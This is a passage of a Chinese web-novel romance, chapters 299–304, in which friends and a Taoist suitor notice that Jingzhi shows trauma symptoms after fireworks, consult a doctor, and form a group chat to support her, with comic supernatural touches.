“臭。” 豆豆翻了个白眼:“知道臭你还坐在这里啊,怎么不进去?” “没什么。”静之曲起腿,挠了挠小腿上的蚊子包,“我透透气。” “什么气你非得透一个多小时啊?” 边说着,她边在静之身后,偷偷给朱九发去一条短信。 【等会你那边千万别发出声音,我探探口风。】 发完短信,豆豆拨通了朱九电话,然后把手机倒扣着放桌上。 望着屏幕上豆豆的来电,朱九指尖微动,终是忍不住诱惑,点了接听键,然后凑近耳朵静静听着…… 豆豆拉过旁边的白色铁艺椅子,在静之身后坐下,边拧开花露水的盖子,边问她: “静之姐,你有没有感觉二叔喜欢你?” 温热的指尖触到她脖子后面的蚊子包时,静之索性一手撑住桌面坐起来,然后用手腕上的头绳将一头白发圈起来扎成花苞头。 “涂涂背上的,痒死了。” 她刚才的动静差点把豆豆吓个半死。 静之左手的小指此时离她的手机不过几厘米远。 豆豆屏住呼吸,伸手过去,欲将她手机拿回来,静之打断了她伸手的线路,直接一胳膊杵在桌子上,撑着脸感叹一句: “我眼又不瞎,我知道的。” 她知道什么? 静之姐是不是在点她? 豆豆慌的一批。 “我知道他喜欢我,只是……我没办法心无芥蒂的接受他。” 豆豆:爹的,差点给她吓死,刚刚还以为静之姐在点她,粉头子不好做啊! 她边挑开静之的吊带给她涂花露水,边套着她的话: “为什么?二叔长得又不差,要车有车,要房有房,对你也很好。 而且套套那件事儿,其实也不能怪他,他就是个受害者,你看他那样儿,比我还宅,根本就不是个爱玩的性子嘛。” 静之笑着回头吐槽豆豆一句: “你啊,你恨不得天天出去玩,怎么能跟他比。” “年轻人不出去多玩玩,等老了就玩不动了。”豆豆轻揉着她的肩膀,又把话题拐了回去,“你还没回答我问题呢,咱们可是好姐妹,你不会连这都不肯跟我说吧?” 静之顿了一下,仿佛要躲避她的追问,把脸转了回去。 “还真是没办法告诉你,我知道他很好,未来几十年,我也希望他能够一直好下去,这样就够了。” 豆豆有些迷茫。 为什么没办法告诉她? 提一嘴都不行吗? “你说得好复杂,你就说你喜不喜欢他就得了,喜欢就在一起,不喜欢就分开,很简单嘛。” 静之幽幽的看着惨白的月光。 瞳孔里仿佛又倒映出前世最后几秒的那场爆炸。 “不是那么简单的。” 她的声音很轻,轻得好像一阵捉摸不透的风。 豆豆盯着她的后脑勺, 缓缓皱起了眉头。 静之……是不是以前以前发生过什么事,有心理阴影了? “biu——嘭!” 寂静的别墅群里,突然有人放起了烟花。 刚响一声,豆豆摸到静之胳膊侧边的手,就被静之冰凉的手死死捏住。 她立马闭眼缴械投降,“对不起对不起,是我不……” 还没说完,她就被静之的异常吓一跳。 她的额头全是冷汗,昂着头,双眼死死盯着昏暗天空中不停炸开的烟花,指尖也在轻微抖动着。 “进……我要进去了!” 还以为监听的事儿被发现的豆豆,微张着嘴,转头看着快步走进屋里,径直冲上二楼的静之,一脸懵逼。 “她怎么了?” 朱九担忧的声音,低低的从桌上的手机响起。 “没空跟您说,她好像不太对劲儿,我觉得应该是有什么创伤后遗症,回聊,我先去看看她!” 朱九还没来得及反应,电话就被挂断。 他立马从床上坐了起来。 来到百年不用的电脑前,在搜索框中输入几个字。 【创伤后遗症。】 弹出来的结果密密麻麻,读起来触目惊心,没一件好事。 创伤后应激障碍(又称ptsd)是一种严重的应激障碍,由突发性灾难事件或自然灾害等强烈的精神应激引起。 常见于集中营幸存者、自然灾害受灾者、退伍军人等高风险人群。 创伤后应激障碍的主要症状有: 创伤再体验、警觉性增高以及回避或麻木。 回避可分为有意识和无意识回避。 有意识回避表现为尽可能的不去想有关的人或事。 无意识回避表现为选择性遗忘与创伤性事件有关的一切,也可表现为使自己一直处于忙碌状态,比如不停的工作、学习等。 朱九在阅读到常见人群那一行就懵住了。 集中营幸存者? 自然灾害受害者? 还是退伍军人? 结合他们首次见面,静之那满身的鲜血和炮火洗礼的痕迹,朱九更偏向于第一种跟第三种。 朱九有理由怀疑,她的前男友,就是在火拼中去世的。 不然她干嘛老是跟他强调,叫他一定要好好的。 ptsd的主要症状,他觉得静之哪种都有。 喜欢他,但是一遍又一遍的推开他,像是要把他推离一个危险地带。 警惕性高,连续好几天闯进他房间,当时他还以为她是专门进来给他盖被子,或者有什么怪癖。 如今看来,她是为了确保他的安全。 包括刚刚那一声烟花爆炸声,都极有可能让她陷入之前的梦魇中,无法自拔。 以及她一直让自己陷入忙碌状态,不停的上班连轴转,每天忙到十一点多,这也是逃避兼焦虑的一种。 朱九重重的往后靠在椅子上,抓着头发,恨不得给自己一拳。 为什么他没有早点发现? 还一直给她制造麻烦。 …… 另外一边,豆豆正急切的敲着静之的房门。 “姐?静之姐?你怎么了?” “你开开门,让我进去,有什么事你都可以跟我好好说说的!” 屋里悄无声息。 床上一个人都没有。 衣柜处却传来她轻轻啜泣的声音。 此时的静之,光着脚蜷缩在衣柜里坐着,怀里紧紧抱着从镇纸上薅下来的小玉九,嘴里还不停捣鼓着一句话。 “阿九别怕,我保护你。” “躲在这里,就不会被炸到了。” 说到后面,捣鼓的话,渐渐变成了重复的三个字。 “对不起,对不起……” 是我没有护好你。 第300章 我在这儿 “喂。” 静之抑制住情绪,拿着手机贴在耳边轻轻说了一声,手却不受控制的微微抖动着。 朱九几乎是屏住呼吸,“我在,你还好吗?” 静之没有回答他这个问题。 只是不断咽下哽咽的声音,然后轻声问出了同样的问题:“……你还好吗?” 朱九的眼睛紧紧盯着电脑屏幕上的几个字——“创伤再体验” 她是觉得他要被炸死了吗? “我很好。” 静之缓缓舒了一口气,轻轻摁下衣柜下头的通风口,看向窗外的绚烂夜空。 她说:“那就好。” 电话突兀的被挂断。 相隔不过几秒,朱九紧皱的眉头还未松开,突然又一个电话打进来。 是豆豆。 朱九刚一接起来,就听到豆豆惊慌失措的声音。 “二叔您快来!她房门锁了不让我进去,我明明听到她在屋子里哭的,她刚刚满头冒冷汗,我怕她出问题!!” 朱九立马站了起来。 “你先别急,我马上到。” 朱九边跑下楼,边跟电话里头的豆豆交代: “我刚刚打电话问过王医生了,他说这种症状不能刺激她,你最好不要在她面前表现出焦虑,恐慌的情绪,不然她很有可能会比你先崩溃。” 豆豆停下敲门的手,捂着嘴,抖着唇小声说: “好好,您快过来,我在门口看着。” …… 得亏现在已经很晚了,路上没什么车,而且他们两座别墅又都是在海边。 朱九一路猛踩油门,不过15分钟,就到了静之家。 听到汽车油门的声音,豆豆立马跑下楼给朱九开门。 “二叔,没,没声儿了,不会是……” 豆豆都快急哭了。 一时之间,竟也忘了回去叫她姐过来穿墙进去看看。 “别瞎说,她很坚强,不会做傻事的。” 话虽这么说着,朱九立刻上去摁了几下门把,发现门确实是被反锁以后,他立马跑下楼,绕到客厅后面,从上次他修剪的那块草坪处往上爬。 得亏她房间有个突出的阳台,朱九很轻易就爬进去了。 他谨记王医生说不能刺激她的话,放轻动作,推开半掩着的推拉门,走了进去。 目光所及之处,没有佳人的身影。 突然,他的右脚踹到一个坚硬的东西。 朱九后撤一步,低头一看,成色上好的镇纸此时就剩下一个小玉之。 旁边的那个小道士则不见踪影。 朱九捡起镇纸轻轻放在桌上。 寂静的房间里,一道清浅的呼吸声突然从左侧的衣柜里传来。 朱九蓦地松了一口气。 还好,她没事。 “静之?” 仿佛听到熟悉的声音,衣柜中隐隐传来一声嘤咛。 “……对不起……” 对不起谁? 他才该说对不起,是他逼得太紧了。 见衣柜里的人儿没反应,朱九悄悄掀开衣柜门一看。 静之紧紧抱着双膝,脑袋侧搭在膝盖上睡得正香。 只是她眉头微蹙,还有脸上未干的泪痕让朱九看着有些揪心。 他动作轻柔的将静之抱了起来,走到床边放下。 给她盖被的时候,他这才发现,她的左手死死握住一尊小玉像。 看不清脸,但他也能猜到,那是她镇纸上消失的另外一个雕像。 “二叔?” 门外的豆豆极轻的唤了一声。 朱九走过去开门。 “她没事,就是睡着了。” 豆豆靠在门框上,差点被静之吓到腿软。 “方才明明一切正常的,隔壁人家放了个烟花,她就变这样了。” “我知道。”朱九面色凝重的点点头,“天色已晚,你先回去休息吧,今晚我会留在这儿陪着她。” 豆豆一步三回头,都走到楼梯口了,实在放心不下静之,又调头走了过来。 “明天她休息,要不您带她去看看心理医生?” 朱九转头看着床上躺着的小可怜,思索了一下才说: “明天看看情况再说,若是严重的话,我会带她去的。” 豆豆:“哦,那我真走了哦?” 朱九朝她扬扬手,“去吧。” …… 朱九斜靠在静之的床前,整整一个晚上。 只要她嘀咕出一句“对不起。” 朱九立马就接一句“我在这。” 这句非常有用,她嘀咕的次数越来越少,最后眉头也终于散开了。 就是右手有些不老实的从被子里伸出来,牢牢握住他的左手。 在手表轻滴了一声后,朱九红着脸单手解扣儿,把表拆了下来。 那天在地下室,他想要的就是这样的握手呢。 不过如今的他,也跟她的心愿一样。 他也只想要她好好的。 朱九枕着床头的靠背,右手伸了过来,轻轻抚着她的头发。 静之给他的回应,就是翻了个身,把他的左手贴在她的脸颊边,像小猫一样,不时轻蹭一下。 朱九觉得自己的心在慢慢融化。 他蹲了下来,拨开她的发丝,轻轻亲了一下她的侧脸,眼里满是装不下的爱恋和怜惜。 “别怕,我一直都在。” …… 静之的生物钟很准。 早上七点准时睁眼。 她睁开莫名酸涩的眼皮,刚想伸个懒腰,就发现手心一片温热。 侧头一看,朱九睁着清明的眼,小心翼翼看着她。 “你……感觉怎么样?” 静之有些不悦的皱起眉,“什么怎么样?你什么时候过来的?进来干什么?” “还有,干嘛牵我的手?” 前面几个问题都是雷区。 朱九回答不了,他干脆举起被抓得紧紧的左手,无辜的说: “是你牵我。” 静之:“……” 哼!她一定是见鬼了。 静之一把甩掉朱九的手,开始赶人。 “今天不是休息日吗?你不回家去,来我这儿干什么?” 朱九没有回答她,他紧紧盯着她的脸,妄图从上面找到一点昨晚记忆的蛛丝马迹。 然而没有。 她选择性失忆了。 这也是逃避表现中的一种,还是比较严重的那一种。 朱九脸上的表情越发凝重。 这种病人一般不想让别人知道他们有病,所以该怎么劝她去看看医生呢? 暂时想不到好法子的朱九,暂时决定先赖着她,保证她的安全,然后再暗地里跟那几个狗腿军师商量一下。 “我想你了,来看看你。”他说。 静之:嚯!他变态啦?怎么突然这么直白? 静之看着门户大开的阳台和紧闭的门,咬牙切齿。 “爬阳台进来的?” 朱九愣了一下,才点了点头,“是,你门反锁了,打不开。” 说好不再骗她,只要无关她的病情,他肯定不会再说谎了。 静之默默抹了一把脸。 终日翻人家的阳台,如今终于是遭上报应了。 “算了,来都来了,一起下楼吃个早饭吧。” 她的眼睛明明还微肿着,嘴角却对他扬起一个大大的弧度。 这种表面十分开朗的模样,谁能想到她居然也有昨晚那脆弱抑郁的一面呢。 也许正因为是这样,他才忽略了她生病了这个事实吧…… …… 第301章 拯救静之大作战1 少少家的客厅此时来了不少客人。 阿祥举着望远镜负责注意隔壁静之的动向。 其他人则围着王医生,团团坐在沙发上。 可能是刚刚还在上班,就被朱九召唤过来,此时王医生还穿着他的白大褂,左胸挂着他的工作牌,明晃晃写着王昭两个字。 他跟朱九同一年纪,可能是因为工作忙,不过40几,头发几乎全白了。 长成了患者信任的样子。 他十指交叉放在膝上,看着朱九说: “这个病啊,其实都是心病。” “按照你们刚刚的说词,很有可能,是因为她的极亲之人在她眼前逝世,且情况可能比较惨烈,她一时接受不了,就会产生这种情况。” 朱九皱着眉问:“需要吃药吗?” 王昭摸着心口说:“这是心病啊兄弟。” “虽然咱们后来选修的方向不一样,但是有个道理却是一样的。” “是药三分毒。” “而且老话说得好,心病还须心药医。” “而这味药啊,就是时间。” 朱八摁熄指尖夹着的烟头,不耐烦的说: “昭哥,不能医你就直说,说时间也太虚了。” 王昭:“老弟啊,你急什么。” 他倚回椅背上,环着胸边琢磨静之的病情,边建议道: “根据阿九说的,她这么多天就发病一次,可见她的毅力是比较顽强的。” “你们可以试试恐惧因素剥离法,看看效果再说。” 朱九冷着脸:“说人话。” 少少和豆豆更是云里雾里。 豆豆边咬指甲边问:“大叔,什么是恐惧因素剥离法啊?” “创造类似环境,以低上几级的刺激反复出现,让她习惯。” “若有条件,那些刺激性的条件最好是喜悦的,松弛的刺激,可以替换掉她恐惧的那个点。” “以后若是处在类似的环境下,她也不会再想起之前的恐怖画面,潜意识里的画面直接替换成你们给她创造的喜悦场景。” 朱九两指竖起,杵着下巴直接陷入沉思。 朱八挠着后脑勺,满脑袋问号都快具象化了。 “昭哥,能再详细点不?” 王昭看了看朱八,又看了看朱九。 他严重怀疑朱八是抱养的,这智商怎么跟不上号儿了呢? “呃,譬如根据阿九的猜测,她的亲人在战争中死亡,死亡方式可能是被炸。” “那么你们可以先尝试放个小鞭炮,带她去游乐场打打假枪,玩玩射气球这类无伤大雅,却又趣味性十足的小游戏,用快乐一点一点替换掉她的恐惧。” “让她以后听到巨响,就只能想起那些快乐的回忆。” “好了,来了挺久了,我该回医院了。”王昭看了一眼手表,站了起来,理理身上的白大褂,“我刚刚说的也就是一些建议,你们可以尽情开动脑筋。” “阿九,我先走喽,得闲再找你喝茶。” 朱九走过去送他到玄关,“好的,这次麻烦你了。” 正穿鞋的王昭好似突然想起什么,转头朝身后的朱九提醒一句: “既然刚发病,最近她身边最好有个人跟着啊,这种人,最容易抑郁了,严重的话,可能……会自杀。” “新闻上那些退伍老兵,回国后无法适应正常生活,自杀的比比皆是,我想你也清楚。” 朱九慎重点头,“我明白,多谢提醒。” …… 隔壁别墅的一楼客厅里。 静之坐在沙发上,正拿着小玉九往镇纸上的缺口比划着。 她也不明白为什么今早一醒来,她手里就紧紧拽着小玉九。 这两个物件本来就是分开的。 是她非要安个小玉九上去,说寓意好,林九才帮她镀上去的。 这回可倒好。 不知道为啥被她硬薅下来了。 她往工具箱里翻翻找找,掏出了一罐502。 “啧,用这东西……也太寒碜了,阿九会生气的吧?” 她把502往工具箱里一丢,又埋头翻找起来。 玻璃胶条?丢。 泡沫胶?塑料质感,丢! 胶布?那她还不如熬一碗糯米粥使。 偌大个工具箱,她硬是找不到一点好使又不影响美观的粘着剂。 “你找什么呢?” 朱九从她身后走过来,看她都快把头埋进工具箱的样子,不禁觉得有些搞笑。 静之把头从工具箱里拔出来。 “对了!”静之双眼亮晶晶的看着他,“二叔,你帮帮我!” 她把小玉九和镇纸举到朱九面前。 “它坏掉了,你有没有什么办法,帮我把它焊回去?” 朱九看着她左手边那个面相跟他极像的小人,不动声色的把东西接过来。 “小问题,这里没有工具,我得带回家做。” 他心里肯定有疑惑,但是现在确实不是追问真相的好时机。 朱九犹豫了几秒,才开口问: “我看你很宝贝这东西,若是不放心,要不要回二号别墅住?三楼房间一直给你留着的。” 想到静之对他避犹不及的态度,朱九顿了一下,又说:“你放心,我回一号别墅,不会打扰到你的。” 静之今天看朱九莫名顺眼。 但她仍旧没有答应他的请求。 反而热情的邀请他来她家做客。 “前两天我说过的,收拾好的话,会叫你们来我家举办个暖居派对。” “反正阿祥跟三叔也过来了,择日不如撞日,明天怎么样?明天我们三个都没课。” “然后你把修补工具带过来,就在我家修,我家有好几间客房,随便你挑。” “也算是报答你收留我的恩情喽?” 静之一顿输出,朱九都愣了。 好半晌才朝她点了点头,然后指了指他头顶正上方的房间。 “那我要住这间,这间坐北朝南,阳光通透,风水好。” 静之欣然答应,“都行,说了随你挑的。” 朱九眼皮直跳。 她怎么变得这么好说话了? 不会病情又严重了吧。 静之甚至还有闲心调侃他一句: “我对你好,你还不开心啊?” 被虐习惯了的朱九: 坏了,她精神病又犯了。 静之:“怎么不说话?” 朱九立马回神,“开心,我开心。” “我这就回去拿工具过来,你别整了,小心伤到手。” 静之反常的揪着他的灰色衣摆,轻轻用手指头绕着,语气里满含着依赖。 “你关心我啊?” 朱九梗着脖子红着脸,手足无措的站在原地,瞬间不知如何应对。 阿昭,你走的还是太早了。 我看她是应该捡点药吃吃。 第302章 反常原因 朱九找了个借口从静之别墅家出去,她一反常态,对他黏黏糊糊的,就剩抱着他的大腿,求他不要走了。 换做没发现她生病以前,朱九肯定乐得找不着北,然而现在,他不想趁人之危,在这种时候占她的便宜。 好在豆豆跟少少过来后,她又正常了。 朱九松了好大一口气赶紧上了车。 “回去啦,陪我打牌去!”撑着伞的少少装作无聊的样子,挽住静之的胳膊轻轻摇晃着,眼睛却暗中朝朱九的车眨了眨。 看什么看! 还不快走?! 少少:“快来嘛,我跟豆豆二缺一。” 静之愣愣的看着远去的商务车,突然追在车屁股后面跑了几步,仿佛精神上挣扎了几下,她又停下了。 豆豆咬着唇紧紧跟在静之后面,眼睛莫名红了起来。 她静之姐,这是又犯病了吗? 果然。 静之转回头,表情十分平淡,眼里的惊慌跟忍耐并存,显得她十分割裂。 “他还会回来的……吧?” 在她看过来前,豆豆赶紧用力眨眨眼,泛去泪花,扯着嘴角朝静之笑了一下。 “是啦。”她轻柔的牵起静之有些冰凉的手往屋里走,“二叔最信守承诺了,他等会就会回来的。” “嗯。” 走到客厅,少少拿出一副牌时,静之却直接在客厅里打起坐来了。 少少,豆豆,还有阿祥跟朱八,头叠着头,躲在墙角窃窃私语。 豆豆:“她这是干什么?” 少少:“你们有没有感觉到魂体舒适啊?反正我好像感觉挺爽的。” 阿祥:“三叔,我好像感觉到灵力波动了。” 朱八一改以前的嘻哈样儿,站直身子,抱着臂低声说: “不是好像,是真的,我也感觉到了,这灵力……很精纯。” 豆豆诧异的转头看回静之:“难道静之姐也是修道中人?” 朱八轻轻摇头:“我半吊子修为看不太出来,不过能运转这么精纯的灵力,她的实力一定跟我二哥差不多了。” 少少摩挲着下巴,渐渐觉得有些不对劲儿。 “那她以前不告诉我们,现在突然又在大庭广众之下打坐……又怎么解释?” 装逼的朱八一下破功,他挠了挠后脑勺,脸上全是清澈的愚蠢。 “这我哪知道,打个电话问问二哥呗。” 豆豆&阿祥&少少: “嘁……” 没用的家伙。 朱八虽然半吊子,但也知道打坐不能被打扰,他留下护法,其他几个人则偷偷溜回隔壁别墅。 “怎么样啊?”少少问。 豆豆看了一眼屏幕,又凑近耳朵听了听,过了半晌才对他们摇头。 “打不通,估计手机静音了,正在开车没看到吧。” 阿祥:“那,发短信!” “嗯。” …… 回到家正收拾东西的朱九,此时正夹着手机给王昭打去电话。 听筒里王昭口吻平静,慢条斯理的解释,让朱九渐渐冷静下来。 “这种情况也是正常的,应激产生后,她此时正是缺乏安全感的时候,会像只老母鸡一样,展开双翼,把她认为特别重要的一切,尽量时时刻刻纳入自己的保护范围里。” “就怕重蹈覆辙,所以会使尽各种手段挽留你,黏糊你,就为了好好能让你呆在她眼皮子底下,这样她才能够安心。” 朱九:“哦。” 特别重要的一切? 他对她来说,是特别重要的吗? 朱九的嘴角不自觉的勾起。 手上收拾工具的速度又加快了不少。 他可不能让她不安太久。 “嗡嗡。” 侧脸上的手机震得他耳朵直发麻。 “你稍等,先别挂。”朱九拿下手机看了一眼。 是阿祥的短信。 鉴于阿祥现在是盯人二号选手,朱九以为静之又出问题了,提着心吊着胆点进去一看。 【阿祥:二叔,你走以后她追了一会儿,然后就回来客厅打坐了,三叔说有灵力波动,我们几个都不敢吵她,想问你这又是个什么情况?】 刚看完,通话中的王昭好像在翻书,哗啦一声翻页后,他喂喂两声,叫了一下朱九。 朱九:“我在,你说。” 王昭:“哦,我刚刚看了一眼资料,安全感的缺失,会导致她不断收集身边的武器武装自身,补充她自身的不足,以求能够更好的保护她所珍惜的一切。” “所以,她家的刀啥的,记得收收好啊。” “有这种倾向也算是个好事,她不会自杀,就是……” 朱九急问:“就是什么?” 一声翻纸声后,王昭仿佛看到什么好笑的东西,轻笑了一下。 “我这么跟你说吧,这种人会争分夺秒锻炼自己,根据我这里的案例啊,不是上少林了,就是加入武术协会了。” 朱九有些无语。 但又突然明白了静之随地大小…打坐的原因。 “好,我知道了,回聊。” 挂断电话后,他抄起工具箱就快步走出别墅,刚想上车,就被黄姨叫住了…… 【二叔:把厨房的刀都收起来,还有屋子里的利器,看好她,我马上就到。】 三人一鬼面面相觑。 停了两秒后,开始悄无声息的行动起来。 …… 朱九一进入静之别墅大门,她仿佛有所察觉,眼睛突然睁开。 却突然被面前的四张凑得极近的脸吓一跳。 “你们干什么?” 三人一鬼立马直起腰小声推搡。 少少:“都跟你说了别靠那么近。” 豆豆:“等会二叔进来看到了,不得抽死你。” 三叔:“可是站在这里,我觉得我不打坐都能感觉我身体里的那点灵力在主动运行了。” 静之拨开他们,光着脚踩到地毯上,朝入户门跑了过去。 门刚一打开,仿佛知道他就在门外面,静之朝他扬起了个大大的笑脸。 “你回来啦。” 朱九面色一柔,轻轻对她点了点头。 “黄姨非要做点鱼让我带过来,抱歉,回来晚了一些。” 他把右手提着的保温袋递了过去,“去吃吧。” 静之喜滋滋的接过袋子来到厨房。 三人一鬼立马转身坐回沙发上,看电视的看电视,伸懒腰的伸懒腰,抠脚趾的抠脚趾。 “我刀呢?” “我筷子叉子汤勺呢?” 三人一鬼立马互相指。 朱八跟少少互指,“是她/他!” 阿祥和豆豆指朱八,“是他。” 朱八倒霉催的,默默反水指向自己,语气带着点不确定,“是,是我?” 朱八:死脑子,快想想理由!! 静之噔噔噔走过来,一手叉着腰,一手朝他伸出来。 “还给我。” 朱八的背紧紧贴着沙发,恨不得直接缩进沙发缝里,“那个,那个……我看有点锈了,放点除锈剂帮那些东西去去锈。” 静之眯眼,“木筷子也锈了?” 朱八满头大汗,哑口无言。 朱九走了过去,试探性的将她叉在腰间的手轻轻牵住,“我有带餐具过来,别生气了,鱼要趁热吃。” 静之低头看了看被牵住的手,眼睛微微眨动一下。 然后握紧他的手,连同他的手一起,往自己衣兜里揣,然后朝朱九灿烂一笑。 “好,东西不着急修,我们先去吃鱼。” 朱九并不觉得这是她爱他的表现,她这是……还想着把他藏起来吧? 两个肤浅的叔侄还在那儿揶揄的笑,敏感的一对姐妹却默默红了眼…… “豆豆,你们过来一起吃呀。” “少少快来,我给你插根香了,你也能吃上。” 两人浑身一震,眼圈更红了。 不知不觉中,她们两个也被静之放进心里了吧? 朱八摸着肚子,一脸委屈,“二哥,我也饿了。” 阿祥不说话,但咕咕叫的肚子代替他说了。 朱九红着脸咽下静之喂过来的鱼肉,朝门外指了指。 “车上有黄姨做的其他饭菜,你们两个去提进来一起吃。” 第303章 拯救静之小分队成立 昨天跟今天完全是两个待遇。 饭桌上,静之频频给朱九夹菜,前所未有的热情,让他受宠若惊。 “好了,静之,太多了吃不下。” 朱九捂着堆到尖起来的碗口,婉拒静之筷子上的大鸡腿。 “他不要我要!”少少伸出碗。 豆豆看了一眼无措的静之,坏笑一下跟着把碗挤了过去。 吮着筷子头说:“静之姐,我也想吃。” “我……你们……”静之一根鸡腿分不平,怕旁边的姐妹俩打起来,干脆夹回自己碗里,“盒里还有,你们自己夹。” 朱八坐在朱九右边,他轻轻拉一下朱九的袖口,小声说: “二哥,我看你要有福了。” 朱九斜他一眼。 “我看你光吃饭不长脑。” 刚收回眼神,那根大鸡腿颤颤巍巍的悬在他碗里的一堆菜上。 朱九暗暗叹了口气,转头一看。 静之啃着红烧鱼排,朝他弯了弯眼,含糊的说: “你瘦,你得多吃点。” 不长脑的朱八朝她揶揄一笑,“我二哥瘦归瘦,但他是精瘦型的,身上都是肌肉,你要不要试试啊?” 他倒是不怕死。 胆小,但是眼色一流的阿祥立刻低头吃菜,并在心里默默的为他三叔点了根蜡。 朱九额头青筋直跳。 穿着布鞋的脚狠狠踩在朱八的大脚趾上碾压。 他刚要呼痛,阿祥立马往他大张的嘴里塞一颗狮子头,“吃肉,多吃肉能多长点记性。” “不用试。”静之看着轻咬一口鸡腿,慢慢吃起来的朱九,满意的点点头说: “大家都健康,平安无事就好。” 饭桌上的所有人突然动作停了一瞬,一时间,只能听到静之夸赞黄姨手艺的声音。 朱九轻咳一声,冷淡的眼神扫过众人,把他们可怜他的眼神一一顶了回去。 他还没到需要他们可怜的份上。 气氛一时有些尴尬,豆豆咬一口芹菜的声音,都好像被无限放大。 这种气氛简直能憋死个人。 豆豆放下筷子,笑着对静之说: “你不是要办派对吗?咱们吃饱了出去买点装饰用品呗,再买点酒水饮料和零食怎么样?” 静之抬头看了她一眼,下一秒,直接转头看向朱九。 其中的意味不言而喻。 她放心不下他。 朱九:“你去吧,我在家里帮你修东西。” 静之抿了抿嘴,收回视线,低头看着碗里圆滚滚的狮子头。 这是朱九给她夹的。 静之轻轻用筷子转着它,小声嘀咕一句: “什么家里,这是我家里,你不要说会让人误会的话。” 她拉开距离的话,反而让朱九感到安心。 朱九:“好,我现在在你家里,你去吧,我保证不乱动你东西,也不会随便进你房间。” “哼!”她低头咬一口狮子头,“谁管你啊。” 少少牙酸的咧了咧嘴,可不就是她管着他嘛,刚刚人家开车走,她恨不得一起跟着去呢。 豆豆兴奋的站起来走去客厅拿上手机,“那就这么说定了哦!” 饭局进行到尾声。 趁着静之去上卫生间的时候,朱九叫众人下载了个app——飞信,拉了个群聊。 他总有照顾不到她的时候,这时候就要靠群众的力量了。 本来群聊里只有四个人。 眨眼之间,括号里的4突兀的变成了5。 朱九眼皮一跳,看了少少一眼。 “是你?” 厉鬼纸糊的手机,连到静之家的网了? 少少把手里的老年机朝他秀了一下,“你觉得可能吗?” “豆豆烧给我的这把,估计是老人必备,只能打电话,收短信,网都连不上,你那什么玩意儿app我都下载不了。” 她凑过来双手合十,讪笑着说: “道长,既然你是道长,会不会做纸扎手机啊,我要求不高,只要智能机就行。” 朱九睨了她一眼,“等我空了再说吧。” “yes!!”少少握拳,“我就当你同意喽。” 朱九都没空理她。 他点开群聊信息一看。 排在他人头后面的,是一只橘红色的小鸟头像。 朱九心里有了个猜测。 还没来得及点进去确认,群聊里就弹出了一条信息。 【你爷爷在此:呦,这么好玩的事儿怎么说也要来掺一脚吧。】 阿祥点开他头像一看。 “二叔,这……” 朱九:他还真是你爷爷,你曾曾曾爷爷。 “是你们祖师爷。” 朱八和阿祥立马瞪大了眼睛。 群里接连弹出两条信息。 【祥要飞呀飞,却怎么也飞不高~:祖师爷下午好!!!!![双手合十][双手合十][双手合十][跪拜][跪拜]】 【是朱八,没有戒:[双手合十]求祖师爷赐我一点修炼秘籍!】 【你爷爷在此:呦,朽木想通啦?】 众人手机叮咚一声响。 “豆本豆”已将群聊名改为“拯救静之小分队[玫瑰]” 豆豆昂起头朝朱九嘿嘿两声。 “是不是很贴切?” 朱九抿了抿嘴,收回眼神低头一顿操作。 “你爷爷在此”已被踢出群聊。 阿祥猛的一抬头,“二,二叔,这样是不是不太好啊?” 朱九冷着脸看向他,“我觉得挺好,他别来搅浑水我就谢天谢地了。” “叮咚。” “你爷爷在此”已加入群聊。 朱九咬牙切齿,还没完了是吧。 接着踢。 “你爷爷在此”已被踢出群聊。 “你爷爷在此”已加入群聊。 …… 几人的手机响个不停。 最后停留在:“你爷爷在此”已加入群聊,并成为永久性群主。 【你爷爷在此:小九啊,不带我一起玩,是不是不太厚道啊?】 阿祥颤颤巍巍:“二,二叔?” 朱九差点把手机捏碎。 “……别管他,咱们做好自己的事儿就行了。” 少少简直都快羡慕死了,她的智能机什么能有啊,她也想加入这个欢乐的大家庭~ 第304章 玩一玩感情 静之甩着手上的水,从卫生间里走出来,笑着说:“我好啦,出发出发。” 少少带上墨镜,拿上黑伞,一脸冷酷,“走吧。” 静之愣了一下,转头看向窗外的大太阳,“你确定你也去?” 少少看着客厅里那三个叔侄,左手举起来扬了扬鼻子,“我才不要留在这里,都是臭男人。” 静之看向低头修东西的朱九,微微抿了一下嘴。 他才不臭。 一只戴着黑色蕾丝手套的手,突然围住她的眼,“好啦,别看了,还怕他跑掉啊?” 少少:“豆豆,你把车开过来。” 豆豆:“行!” 还没来得及多看朱九一眼,静之就被少少直接拖到门外走廊。 朱八凑过去,对正在选材料的朱九说: “二哥,说真的,她现在这么粘着你,你主动出击呗,我觉得一定能成。” 朱九放下小银锭,幽幽的看了他一眼,“不。” 他已经失误两次,这教训,他已经吃得够够的了。 朱八挠着鼻头,靠回椅背,抖着腿说: “这跟你对她好并不产生冲突吧,人脆弱的时候,只要有人对自己好一点,那一点好就会被无限放大。” 朱九有些讶异的看了他一眼。 没想到他没脑子的弟弟,居然能说出这么有道理的话。 “你这是什么眼神?” 朱八拿过桌上的烟盒,抖出一根烟叼进嘴里,“我也是谈过几个女朋友的好吧,感情经历至少比你丰富得多。” 朱九一针见血:“40了,你现在还是没人要。” 不过他刚刚说的那句话倒是有些道理。 她在脆弱的时候,他不能昧着良心接受她的亲昵,但与他对她好这件事,并不产生一点冲突。 【朱九@所有人:麻烦大家集思广益,务必帮她办好明天的暖屋派对,让她对自己的别墅产生家的归属感和安全感。】 【豆本豆:我是少少,你们最好把手机都调成震动模式,刚刚静之问了一嘴,吓死人……呸,吓死鬼了。】 【祥要飞呀飞,却怎么也飞不高~:收到】 【是朱八,没有戒:已调。】 【你爷爷在此:1。】 【是朱八,没有戒:祖师爷您真是走在冲浪的最前端。】 【你爷爷在此:反正不像某人。@朱九】 【朱九:@祥要飞呀飞,却怎么也飞不高~@是朱八,没有戒 ,把备注改成你们自己的名字,别跟我耍花样。】 【你爷爷在此:看吧,某人比我还老古董,此处@朱九。】 过了几分钟后,朱九抬起头看了一眼静悄悄的朱八跟阿祥,莫名觉得反常。 他拿起手机一看,顿时呲笑一声。 【朱九:我记得朱家流传下来的古籍里,有一招法术可以召请神明,最近得了几分闲暇,觉得请一下朱嬛祖奶奶下来玩一玩正好。】 【朱祥奋:朱嬛是?[问号脸]】 朱八收起手机,狠狠敲了阿祥一栗子,小声恐吓他: “神仙打架,你插什么嘴,还不快点撤回,就不怕祖师爷发飙吗?” 阿祥拿起手机一看,撤回时效已过。 “撤回不了了。”他苦着脸,俯下身越过朱八,侧头看向板着脸的朱九,“二叔,朱嬛是谁啊?” 朱九嘴角微勾,笑而不语。 叫朱鹤硬要来当根搅屎棍,看他玩不死他。 “嗡嗡。” 